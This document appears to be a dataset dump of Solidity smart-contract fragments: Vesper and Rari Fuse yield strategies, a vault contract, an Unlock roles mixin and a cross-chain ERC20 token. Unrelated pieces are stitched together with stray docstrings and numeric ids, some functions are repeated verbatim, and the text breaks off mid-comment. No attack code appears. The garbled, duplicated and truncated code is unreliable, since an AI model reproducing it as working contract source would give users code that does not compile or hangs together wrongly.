include those in profit. That's why we used 'return' outside 'if' condition. * @param _totalDebt Total collateral debt of this strategy * @return profit in collateral token */ function _realizeProfit(uint256 _totalDebt) internal virtual override returns (uint256) { _claimRewardsAndConvertTo(address(collateralToken)); uint256 _collateralBalance = _convertToCollateral(cToken.balanceOf(address(this))); if (_collateralBalance > _totalDebt) { _withdrawHere(_collateralBalance - _totalDebt); } return collateralToken.balanceOf(address(this)); } /** * @notice Calculate realized loss. * @return _loss Realized loss in collateral token */ function _realizeLoss(uint256 _totalDebt) internal view override returns (uint256 _loss) { uint256 _collateralBalance = _convertToCollateral(cToken.balanceOf(address(this))); if (_collateralBalance < _totalDebt) { _loss = _totalDebt - _collateralBalance; } } /// @notice Deposit collateral in Compound function _reinvest() internal virtual override { uint256 _collateralBalance = collateralToken.balanceOf(address(this)); if (_collateralBalance != 0) { require(cToken.mint(_collateralBalance) == 0, "deposit-to-compound-failed"); } } /// @dev Withdraw collateral and transfer it to pool function _withdraw(uint256 _amount) internal override { _safeWithdraw(_amount); collateralToken.safeTransfer(pool, collateralToken.balanceOf(address(this))); } /** * @notice Safe withdraw will make sure to check asking amount against available amount. * @param _amount Amount of collateral to withdraw. * @return Actual collateral withdrawn */ function _safeWithdraw(uint256 _amount) internal returns (uint256) { uint256 _collateralBalance = _convertToCollateral(cToken.balanceOf(address(this))); // Get available liquidity from Compound uint256 _availableLiquidity = cToken.getCash(); // Get minimum of _amount and _avaialbleLiquidity uint256 _withdrawAmount = _amount < _availableLiquidity ? _amount : _availableLiquidity; // Get minimum of _withdrawAmount and _collateralBalance return _withdrawHere(_withdrawAmount < _collateralBalance ? _withdrawAmount : _collateralBalance); } /// @dev Withdraw collateral here. Do not transfer to pool function _withdrawHere(uint256 _amount) internal returns (uint256) { if (_amount != 0) { require(cToken.redeemUnderlying(_amount) == 0, "withdraw-from-compound-failed"); _afterRedeem(); } return _amount; } function _setupOracles() internal virtual override { if (rewardToken != address(0)) swapManager.createOrUpdateOracle(rewardToken, WETH, oraclePeriod, oracleRouterIdx); if (address(collateralToken) != WETH) { swapManager.createOrUpdateOracle(WETH, address(collateralToken), oraclePeriod, oracleRouterIdx); } } /** * @dev Compound support ETH as collateral not WETH. This hook will take * care of conversion from WETH to ETH and vice versa. * @dev This will be used in ETH strategy only, hence empty implementation */ //solhint-disable-next-line no-empty-blocks function _afterRedeem() internal virtual {} function _convertToCollateral(uint256 _cTokenAmount) internal view returns (uint256) { return (_cTokenAmount * cToken.exchangeRateStored()) / 1e18; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "../../interfaces/aave/IAave.sol"; import "../../interfaces/rari-fuse/IComptroller.sol"; import "../compound/CompoundStrategy.sol"; import "../../interfaces/rari-fuse/IFusePoolDirectory.sol"; /// @title This library provide core operations for Rari library RariCore { /** * @notice Gets Comptroller * @param _fusePoolDir address of the Fuse Pool Directory * @param _fusePoolId Fuse Pool ID */ function getComptroller(IFusePoolDirectory _fusePoolDir, uint256 _fusePoolId) internal view returns (address _comptroller) { (, , _comptroller, , ) = _fusePoolDir.pools(_fusePoolId); } /** * @notice Gets the cToken to mint for a Fuse Pool * @param _fusePoolDir address of the Fuse Pool Directory * @param _fusePoolId Fuse Pool ID * @param _collateralToken address of the collateralToken */ function getCTokenByUnderlying( IFusePoolDirectory _fusePoolDir, uint256 _fusePoolId, address _collateralToken ) internal view returns (address _cToken) { address _comptroller = getComptroller(_fusePoolDir, _fusePoolId); require(_comptroller != address(0), "rari-fuse-invalid-comptroller"); _cToken = IComptroller(_comptroller).cTokensByUnderlying(_collateralToken); require(_cToken != address(0), "rari-fuse-invalid-ctoken"); } /** * @notice Automatically finds rewardToken set for the current Fuse Pool * @param _fusePoolDir address of the Fuse Pool Directory * @param _fusePoolId Fuse Pool ID */ function getRewardToken(IFusePoolDirectory _fusePoolDir, uint256 _fusePoolId) internal view returns (address _rewardDistributor, address _rewardToken) { uint256 _success; address _comptroller = getComptroller(_fusePoolDir, _fusePoolId); bytes4 _selector = IComptroller(_comptroller).rewardsDistributors.selector; // Low level static call to prevent revert in case the Comptroller doesn't have // rewardsDistributors function exposed // which may happen to older Fuse Pools uint256 _comptrollerSize; assembly { _comptrollerSize := extcodesize(_comptroller) } require(_comptrollerSize > 0, "comptroller-not-a-contract"); assembly { let x := mload(0x40) // Find empty storage location using "free memory pointer" mstore(x, _selector) // Place signature at beginning of empty storage mstore(add(x, 0x04), 0) // Place first argument directly next to signature _success := staticcall( 30000, // 30k gas _comptroller, // To addr x, // Inputs are stored at location x 0x24, // Inputs are 36 bytes long x, // Store output over input (saves space) 0x20 ) // Outputs are 32 bytes long _rewardDistributor := mload(x) // Load the result } if (_rewardDistributor != address(0)) { _rewardToken = IRariRewardDistributor(_rewardDistributor).rewardToken(); } } } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./RariCore.sol"; import "../compound/CompoundStrategy.sol"; import "../../interfaces/rari-fuse/IComptroller.sol"; import "../../interfaces/rari-fuse/IFusePoolDirectory.sol"; /// @title This strategy will deposit collateral token in a Rari Fuse Pool and earn interest. contract RariFuseStrategy is CompoundStrategy { using SafeERC20 for IERC20; using RariCore for IFusePoolDirectory; uint256 public fusePoolId; IFusePoolDirectory public immutable fusePoolDirectory; address public rewardDistributor; event FusePoolChanged(uint256 indexed newFusePoolId, address indexed oldCToken, address indexed newCToken); constructor( address _pool, address _swapManager, uint256 _fusePoolId, IFusePoolDirectory _fusePoolDirectory, string memory _name ) CompoundStrategy( _pool, _swapManager, _fusePoolDirectory.getComptroller(_fusePoolId), address(0), // rewardToken _fusePoolDirectory.getCTokenByUnderlying( _fusePoolId, address(IVesperPool(_pool).token()) == WETH ? address(0x0) : address(IVesperPool(_pool).token()) ), _name ) { fusePoolId = _fusePoolId; fusePoolDirectory = _fusePoolDirectory; // Find and set the rewardToken from the fuse pool data (rewardDistributor, rewardToken) = _fusePoolDirectory.getRewardToken(_fusePoolId); } // solhint-enable no-empty-blocks /** * @notice Calculate total value using underlying token * @dev Report total value in collateral token */ function totalValue() public view override returns (uint256 _totalValue) { _totalValue = _convertToCollateral(cToken.balanceOf(address(this))); } /** * @notice Changes the underlying Fuse Pool to a new one * @dev Redeems cTokens from current fuse pool and mints cTokens of new Fuse Pool * @param _newPoolId Fuse Pool ID */ function migrateFusePool(uint256 _newPoolId) external virtual onlyGovernor { address _newCToken = fusePoolDirectory.getCTokenByUnderlying(_newPoolId, address(collateralToken)); require(address(cToken) != _newCToken, "same-fuse-pool"); require(cToken.redeem(cToken.balanceOf(address(this))) == 0, "withdraw-from-fuse-pool-failed"); collateralToken.safeApprove(address(cToken), 0); // We usually do infinite approval via approveToken() any way collateralToken.safeApprove(_newCToken, MAX_UINT_VALUE); require(CToken(_newCToken).mint(collateralToken.balanceOf(address(this))) == 0, "deposit-to-fuse-pool-failed"); emit FusePoolChanged(_newPoolId, address(cToken), _newCToken); cToken = CToken(_newCToken); receiptToken = _newCToken; fusePoolId = _newPoolId; (rewardDistributor, rewardToken) = fusePoolDirectory.getRewardToken(fusePoolId); } /// @dev Manually claim rewards from rewardDistributor by keeper /// @notice Properly tests if reward claim works function claimRewards() external onlyKeeper { _claimRewards(); } /// @notice Claim rewards from Fuse Pool' rewardDistributor function _claimRewards() internal virtual override { IRariRewardDistributor(rewardDistributor).claimRewards(address(this)); } /// @notice Get rewards accrued in Fuse Pool' rewardDistributor function _getRewardAccrued() internal view virtual override returns (uint256 _rewardAccrued) { _rewardAccrued = IRariRewardDistributor(rewardDistributor).compAccrued(address(this)); } // solhint-disable-next-line function _beforeMigration(address _newStrategy) internal override {} } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./RariFuseStrategy.sol"; /// @title This strategy will deposit collateral token in a Rari Fuse Pool and earn interest. contract RariFuseStrategyAPE is RariFuseStrategy { constructor( address _pool, address _swapManager, uint256 _fusePoolId, IFusePoolDirectory _fusePoolDirectory, string memory _name ) RariFuseStrategy(_pool, _swapManager, _fusePoolId, _fusePoolDirectory, _name) { oracleRouterIdx = 1; } }
Function to get pricePerShare from V2 pools
interface IVesperPool is IERC20 { function calculateUniversalFee(uint256 _profit) external view returns (uint256 _fee); function deposit() external payable; function deposit(uint256 _share) external; function multiTransfer(address[] memory _recipients, uint256[] memory _amounts) external returns (bool); function excessDebt(address _strategy) external view returns (uint256); function permit( address, address, uint256, uint256, uint8, bytes32, bytes32 ) external; function poolRewards() external returns (address); function reportEarning( uint256 _profit, uint256 _loss, uint256 _payback ) external; function reportLoss(uint256 _loss) external; function resetApproval() external; function sweepERC20(address _fromToken) external; function withdraw(uint256 _amount) external; function withdrawETH(uint256 _amount) external; function whitelistedWithdraw(uint256 _amount) external; function governor() external view returns (address); function keepers() external view returns (address[] memory); function isKeeper(address _address) external view returns (bool); function maintainers() external view returns (address[] memory); function isMaintainer(address _address) external view returns (bool); function pricePerShare() external view returns (uint256); function strategy(address _strategy) external view returns ( bool _active, uint256 interestFeeObsolete, uint256 _debtRate, uint256 _lastRebalance, uint256 _totalDebt, uint256 _totalLoss, uint256 _totalProfit, uint256 _debtRatio, uint256 _externalDepositFee ); function stopEverything() external view returns (bool); function token() external view returns (IERC20); function tokensHere() external view returns (uint256); function totalDebtOf(address _strategy) external view returns (uint256); function totalValue() external view returns (uint256); function getPricePerShare() external view returns (uint256); }
414,943
./partial_match/11297108109/0x259813B665C8f6074391028ef782e27B65840d89/sources/src/contracts/PublicLock/PublicLockV13.sol
roles events initializer
{ bytes32 internal constant LOCK_MANAGER_ROLE = keccak256("LOCK_MANAGER"); bytes32 internal constant KEY_GRANTER_ROLE = keccak256("KEY_GRANTER"); event LockManagerAdded(address indexed account); event LockManagerRemoved(address indexed account); event KeyGranterAdded(address indexed account); event KeyGranterRemoved(address indexed account); function _initializeMixinRoles(address sender) internal { _setRoleAdmin(LOCK_MANAGER_ROLE, LOCK_MANAGER_ROLE); _setRoleAdmin(KEY_GRANTER_ROLE, LOCK_MANAGER_ROLE); if (!isLockManager(sender)) { _setupRole(LOCK_MANAGER_ROLE, sender); } if (!hasRole(KEY_GRANTER_ROLE, sender)) { _setupRole(KEY_GRANTER_ROLE, sender); } } function _initializeMixinRoles(address sender) internal { _setRoleAdmin(LOCK_MANAGER_ROLE, LOCK_MANAGER_ROLE); _setRoleAdmin(KEY_GRANTER_ROLE, LOCK_MANAGER_ROLE); if (!isLockManager(sender)) { _setupRole(LOCK_MANAGER_ROLE, sender); } if (!hasRole(KEY_GRANTER_ROLE, sender)) { _setupRole(KEY_GRANTER_ROLE, sender); } } function _initializeMixinRoles(address sender) internal { _setRoleAdmin(LOCK_MANAGER_ROLE, LOCK_MANAGER_ROLE); _setRoleAdmin(KEY_GRANTER_ROLE, LOCK_MANAGER_ROLE); if (!isLockManager(sender)) { _setupRole(LOCK_MANAGER_ROLE, sender); } if (!hasRole(KEY_GRANTER_ROLE, sender)) { _setupRole(KEY_GRANTER_ROLE, sender); } } function _onlyLockManager() internal view { if (!hasRole(LOCK_MANAGER_ROLE, msg.sender)) { revert ONLY_LOCK_MANAGER(); } } function _onlyLockManager() internal view { if (!hasRole(LOCK_MANAGER_ROLE, msg.sender)) { revert ONLY_LOCK_MANAGER(); } } function isLockManager( address account ) public view returns (bool) { return hasRole(LOCK_MANAGER_ROLE, account); } function addLockManager(address account) public { _onlyLockManager(); grantRole(LOCK_MANAGER_ROLE, account); emit LockManagerAdded(account); } function renounceLockManager() public { renounceRole(LOCK_MANAGER_ROLE, msg.sender); emit LockManagerRemoved(msg.sender); } uint256[1000] private __safe_upgrade_gap; }
16,952,023
pragma solidity ^0.4.21; interface VaultInterface { event Deposited(address indexed user, address token, uint amount); event Withdrawn(address indexed user, address token, uint amount); event Approved(address indexed user, address indexed spender); event Unapproved(address indexed user, address indexed spender); event AddedSpender(address indexed spender); event RemovedSpender(address indexed spender); function deposit(address token, uint amount) external payable; function withdraw(address token, uint amount) external; function transfer(address token, address from, address to, uint amount) external; function approve(address spender) external; function unapprove(address spender) external; function isApproved(address user, address spender) external view returns (bool); function addSpender(address spender) external; function removeSpender(address spender) external; function latestSpender() external view returns (address); function isSpender(address spender) external view returns (bool); function tokenFallback(address from, uint value, bytes data) public; function balanceOf(address token, address user) public view returns (uint); } interface ERC820 { function setInterfaceImplementer(address addr, bytes32 iHash, address implementer) public; } library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint a, uint b) internal pure returns (uint) { return a >= b ? a : b; } function min256(uint a, uint b) internal pure returns (uint) { return a < b ? a : b; } } contract Ownable { address public owner; modifier onlyOwner { require(isOwner(msg.sender)); _; } function Ownable() public { owner = msg.sender; } function transferOwnership(address _newOwner) public onlyOwner { owner = _newOwner; } function isOwner(address _address) public view returns (bool) { return owner == _address; } } interface ERC20 { function totalSupply() public view returns (uint); function balanceOf(address owner) public view returns (uint); function allowance(address owner, address spender) public view returns (uint); function transfer(address to, uint value) public returns (bool); function transferFrom(address from, address to, uint value) public returns (bool); function approve(address spender, uint value) public returns (bool); } interface ERC777 { function name() public constant returns (string); function symbol() public constant returns (string); function totalSupply() public constant returns (uint256); function granularity() public constant returns (uint256); function balanceOf(address owner) public constant returns (uint256); function send(address to, uint256 amount) public; function send(address to, uint256 amount, bytes userData) public; function authorizeOperator(address operator) public; function revokeOperator(address operator) public; function isOperatorFor(address operator, address tokenHolder) public constant returns (bool); function operatorSend(address from, address to, uint256 amount, bytes userData, bytes operatorData) public; } contract Vault is Ownable, VaultInterface { using SafeMath for *; address constant public ETH = 0x0; mapping (address => bool) public isERC777; // user => spender => approved mapping (address => mapping (address => bool)) private approved; mapping (address => mapping (address => uint)) private balances; mapping (address => uint) private accounted; mapping (address => bool) private spenders; address private latest; modifier onlySpender { require(spenders[msg.sender]); _; } modifier onlyApproved(address user) { require(approved[user][msg.sender]); _; } function Vault(ERC820 registry) public { // required by ERC777 standard. registry.setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this)); } /// @dev Deposits a specific token. /// @param token Address of the token to deposit. /// @param amount Amount of tokens to deposit. function deposit(address token, uint amount) external payable { require(token == ETH || msg.value == 0); uint value = amount; if (token == ETH) { value = msg.value; } else { require(ERC20(token).transferFrom(msg.sender, address(this), value)); } depositFor(msg.sender, token, value); } /// @dev Withdraws a specific token. /// @param token Address of the token to withdraw. /// @param amount Amount of tokens to withdraw. function withdraw(address token, uint amount) external { require(balanceOf(token, msg.sender) >= amount); balances[token][msg.sender] = balances[token][msg.sender].sub(amount); accounted[token] = accounted[token].sub(amount); withdrawTo(msg.sender, token, amount); emit Withdrawn(msg.sender, token, amount); } /// @dev Approves an spender to trade balances of the sender. /// @param spender Address of the spender to approve. function approve(address spender) external { require(spenders[spender]); approved[msg.sender][spender] = true; emit Approved(msg.sender, spender); } /// @dev Unapproves an spender to trade balances of the sender. /// @param spender Address of the spender to unapprove. function unapprove(address spender) external { approved[msg.sender][spender] = false; emit Unapproved(msg.sender, spender); } /// @dev Adds a spender. /// @param spender Address of the spender. function addSpender(address spender) external onlyOwner { require(spender != 0x0); spenders[spender] = true; latest = spender; emit AddedSpender(spender); } /// @dev Removes a spender. /// @param spender Address of the spender. function removeSpender(address spender) external onlyOwner { spenders[spender] = false; emit RemovedSpender(spender); } /// @dev Transfers balances of a token between users. /// @param token Address of the token to transfer. /// @param from Address of the user to transfer tokens from. /// @param to Address of the user to transfer tokens to. /// @param amount Amount of tokens to transfer. function transfer(address token, address from, address to, uint amount) external onlySpender onlyApproved(from) { // We do not check the balance here, as SafeMath will revert if sub / add fail. Due to over/underflows. require(amount > 0); balances[token][from] = balances[token][from].sub(amount); balances[token][to] = balances[token][to].add(amount); } /// @dev Returns if an spender has been approved by a user. /// @param user Address of the user. /// @param spender Address of the spender. /// @return Boolean whether spender has been approved. function isApproved(address user, address spender) external view returns (bool) { return approved[user][spender]; } /// @dev Returns if an address has been approved as a spender. /// @param spender Address of the spender. /// @return Boolean whether spender has been approved. function isSpender(address spender) external view returns (bool) { return spenders[spender]; } function latestSpender() external view returns (address) { return latest; } function tokenFallback(address from, uint value, bytes) public { depositFor(from, msg.sender, value); } function tokensReceived(address, address from, address, uint amount, bytes, bytes) public { if (!isERC777[msg.sender]) { isERC777[msg.sender] = true; } depositFor(from, msg.sender, amount); } /// @dev Marks a token as an ERC777 token. /// @param token Address of the token. function setERC777(address token) public onlyOwner { isERC777[token] = true; } /// @dev Unmarks a token as an ERC777 token. /// @param token Address of the token. function unsetERC777(address token) public onlyOwner { isERC777[token] = false; } /// @dev Allows owner to withdraw tokens accidentally sent to the contract. /// @param token Address of the token to withdraw. function withdrawOverflow(address token) public onlyOwner { withdrawTo(msg.sender, token, overflow(token)); } /// @dev Returns the balance of a user for a specified token. /// @param token Address of the token. /// @param user Address of the user. /// @return Balance for the user. function balanceOf(address token, address user) public view returns (uint) { return balances[token][user]; } /// @dev Calculates how many tokens were accidentally sent to the contract. /// @param token Address of the token to calculate for. /// @return Amount of tokens not accounted for. function overflow(address token) internal view returns (uint) { if (token == ETH) { return address(this).balance.sub(accounted[token]); } return ERC20(token).balanceOf(this).sub(accounted[token]); } /// @dev Accounts for token deposits. /// @param user Address of the user who deposited. /// @param token Address of the token deposited. /// @param amount Amount of tokens deposited. function depositFor(address user, address token, uint amount) private { balances[token][user] = balances[token][user].add(amount); accounted[token] = accounted[token].add(amount); emit Deposited(user, token, amount); } /// @dev Withdraws tokens to user. /// @param user Address of the target user. /// @param token Address of the token. /// @param amount Amount of tokens. function withdrawTo(address user, address token, uint amount) private { if (token == ETH) { user.transfer(amount); return; } if (isERC777[token]) { ERC777(token).send(user, amount); return; } require(ERC20(token).transfer(user, amount)); } }
Unapproves an spender to trade balances of the sender. spender Address of the spender to unapprove.
function unapprove(address spender) external { approved[msg.sender][spender] = false; emit Unapproved(msg.sender, spender); }
2,009,111
ο»Ώ// SPDX-License-Identifier: MIT pragma solidity ^0.8.1; //import "@chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol"; //https://github.com/smartcontractkit/chainlink/blob/develop/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol interface AggregatorV3Interface { function decimals() external view returns ( uint8 ); function description() external view returns ( string memory ); function version() external view returns ( uint256 ); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData( uint80 _roundId ) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the Ownable modifier handling contract ownership */ abstract contract Ownable is Context { /** * @dev The owner of the contract */ address payable internal _owner; /** * @dev The new owner of the contract (for ownership swap) */ address payable internal _potentialNewOwner; /** * @dev Emitted when ownership of the contract has been transferred and is set by * a call to {AcceptOwnership}. */ event OwnershipTransferred(address payable indexed from, address payable indexed to, uint date); /** * @dev Sets the owner upon contract creation **/ constructor() { _owner = payable(_msgSender()); } modifier onlyOwner() { require(_msgSender() == _owner); _; } function transferOwnership(address payable newOwner) external onlyOwner { _potentialNewOwner = newOwner; } function acceptOwnership() external { require(_msgSender() == _potentialNewOwner); emit OwnershipTransferred(_owner, _potentialNewOwner, block.timestamp); _owner = _potentialNewOwner; } function getOwner() view external returns(address){ return _owner; } function getPotentialNewOwner() view external returns(address){ return _potentialNewOwner; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Holds gas related data used to determine fee **/ struct GasData { uint256 gas; uint256 gasPrice; } /** * @dev Holds blockchain data for tokens to move between * * The 'exists' is used to determine if the blockchain exists * The 'gasData' is used to generate a fee * The 'priceFeed' is also used to generate fee (gets current price of [this tokens network]:[other tokens network]) * The 'exchangeFeePercent' is taken to cover cross chain movement fees from external crosslink (% 0-100) **/ struct BlockChain { bool exists; GasData gasData; AggregatorV3Interface priceFeed; uint256 exchangeFeePercent; } /** * @dev Returns the amount of tokens in existence. * * Returns an integer that represents the total supply of this token */ function totalSupply() external view returns (uint256); /** * @dev Gets a blockchain by name * * Returns a blockchain that matches the 'chain' specified (if exists) */ function getBlockchain(string memory chain) external view returns (BlockChain memory); /** * @dev Add a blockchain to exchgange with * * Returns if the blockchain has been added successfully */ function addBlockchain(string memory chain, uint256 gasLimit, uint256 gasPrice, address contractAddress, uint256 exchangeFee) external returns (bool); /** * @dev Gets a fee for the movememnt to another chain * * Returns the fee required for the crosschain link */ function getFee(string memory chain, uint256 valueToMove) external view returns(uint256); /** * @dev Returns the amount of tokens owned by `account`. * * Returns the balance of the account */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Takes fee and burns amount of tokens from caller. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {MovedToken} event. */ function moveToken(uint256 amount, string memory toChain, string memory addressTo) external payable returns (bool); /** * @dev Redeems tokens from another chain and adds them to this chain (mint) * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {RedeemedToken} event. */ function redeemToken(uint256 movedTokenId, string memory fromChain, address addressTo, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Emitted when the user wants to move mo to another chain is set by * a call to {MoveToken}. */ event MovedToken(uint256 id, string toChain, address indexed owner, string addressTo, uint256 fee, uint256 amount); /** * @dev Emitted when the user wants to redeem tokens from another chain is set by * a call to {RedeemToken}. */ event RedeemedToken(uint256 movedTokenid, string chain, address indexed addressTo, uint256 amount); /** * @dev Emitted when the owner recovers tokens from this contract and is set by * a call to {RecoverAllTokens} or {RecoverTokens}. */ event RecoveredTokens(address token, address owner, uint256 tokens); /** * @dev Emitted when the owner recovers eth from this contract and is set by * a call to {Withdraw}. */ event WithdrawLog(uint256 balanceBefore, uint256 amount, uint256 balanceAfter, address addressTo); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-ERC20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (string => BlockChain) private _blockChains; uint256 private _totalSupply; string private _name; string private _symbol; uint256 private _movedTokenId; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev Gets a blockchain if it is supported * * Returns a blockchain */ function getBlockchain(string memory chain) public override view returns (BlockChain memory){ return _blockChains[chain]; } /** * @dev See {IERC20-balanceOf}. * * Returns the token balance of an address */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev Checks if a fee supplied is valid * * Returns true if the fee supplied is valid for the chain provided */ function isFeeValid(string memory chain, uint256 value) public view returns(bool){ // Get fee uint256 fee = uint(getFee(chain, value)); // Check fee is less than or equal to amount supplied return fee <= value; } /** * @dev Add a blockchain to exchgange with * * Returns true if the blockchain has been successfully added * * Requirements: * * - `exchangeFeePercent` must be must be between 0 and 100. */ function addBlockchain(string memory chain, uint256 gasLimit, uint256 gasPrice, address contractAddress, uint256 exchangeFeePercent) public virtual override onlyOwner returns (bool) { // Ensure that the exchange percent is within the bounds we require require(exchangeFeePercent < 100, "Exchange fee percent must be between 0 and 100"); // Create the gas data GasData memory gasData = GasData(gasLimit, gasPrice); // Setup the price feed AggregatorV3Interface priceFeed = AggregatorV3Interface(contractAddress); // Create the blockchain and address _blockChains[chain] = BlockChain(true, gasData, priceFeed, exchangeFeePercent); return true; } /** * @dev Gets a fee for the movememnt to another chain * * Returns the fee required for the movement between chains */ function getFee(string memory chain, uint256 valueToMove) public view override returns(uint256){ // Get the gas data to estimate price with BlockChain memory blockchain = _blockChains[chain]; // Check the chain is supported require(blockchain.exists, "Blockchain not supported"); // Get the price of contract to other chain uint256 price = uint(getLivePrice(chain)); // Calculate amount to cover fee uint256 fee = price * blockchain.gasData.gas * blockchain.gasData.gasPrice; // Add on exchange fee (x% of value) fee += ((valueToMove / 100) * blockchain.exchangeFeePercent); return fee; } /** * @dev Gets a price from price feed (chainlink) * * Returns the live price for a pair ([this]:[chain]) */ function getLivePrice(string memory chain) public view returns (int) { ( uint80 roundID, int price, uint startedAt, uint timeStamp, uint80 answeredInRound ) = _blockChains[chain].priceFeed.latestRoundData(); return price; } /** * @dev Moves any ETH sent with the request (msg.Value) from the callers allowance to '_exchangeAddress` * Then Moves `amount` tokens from `sender` to this contract, 'amount` is then deducted from the caller's allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {MovedToken} event. * * Requirements: * * - `chain` must be supported. * - The fee must be valid for the specified `chain` (check first by calling {GetFee}). * - The balance must be more than the 'amount' specified */ function moveToken(uint256 amount, string memory toChain, string memory addressTo) public virtual payable override returns (bool){ // Check the chain is supported BlockChain memory blockchain = _blockChains[toChain]; require(blockchain.gasData.gas > 0, "Chain is not supported"); // Check the fee has been sent require(isFeeValid(toChain, msg.value), "Fee has not been met"); // Check the user has enough to send the amount of moveToken require(_balances[_msgSender()] >= amount, "Not enough tokens to commit to movement"); // Burn the value require(_burn(_msgSender(), amount), "The burn failed"); // Kick off the event emit MovedToken(_getMovedTokenId(), toChain, _msgSender(), addressTo, msg.value, amount); return true; } /** * @dev Redeems tokens from another chain and adds them to this chain * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {RedeemedToken} event. */ function redeemToken(uint256 movedTokenId, string memory fromChain, address addressTo, uint256 amount) public virtual onlyOwner override returns (bool){ // Mint the tokens being redeemed require(_mint(addressTo, amount), "The mint failed"); // Kick off the event emit RedeemedToken(movedTokenId, fromChain, addressTo, amount); return true; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot 